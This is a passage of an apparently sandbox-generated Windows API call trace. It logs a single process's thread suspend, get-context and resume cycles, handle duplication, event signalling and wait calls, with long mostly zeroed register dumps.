Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.111] ResumeThread (hThread=0x1a8) returned 0x1
	[0245.111] CloseHandle (hObject=0x1a8) returned 1
	[0245.111] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.120] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xb) returned 0x102
	[0245.132] SetEvent (hEvent=0x190) returned 1
	[0245.133] SetEvent (hEvent=0xd4) returned 1
	[0245.133] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.140] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.146] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0245.147] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x3f) returned 0x102
	[0245.228] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0245.228] SetEvent (hEvent=0xd4) returned 1
	[0245.228] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.232] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.248] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x2d) returned 0x0
	[0245.268] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.276] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.302] SetEvent (hEvent=0xd4) returned 1
	[0245.302] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.311] SetEvent (hEvent=0xd4) returned 1
	[0245.312] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.320] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.327] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.356] SetEvent (hEvent=0x190) returned 1
	[0245.356] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.381] SetEvent (hEvent=0x190) returned 1
	[0245.381] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.433] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.494] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0245.494] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.494] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.571] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.571] CloseHandle (hObject=0x1ac) returned 1
	[0245.571] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.575] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.576] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0245.577] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.577] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.582] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.582] CloseHandle (hObject=0x1ac) returned 1
	[0245.582] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.584] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0245.584] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.586] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0245.586] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.586] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.596] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.596] CloseHandle (hObject=0x1ac) returned 1
	[0245.596] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.607] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0245.607] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.615] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0245.615] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.615] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.618] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.618] CloseHandle (hObject=0x1ac) returned 1
	[0245.618] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.624] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
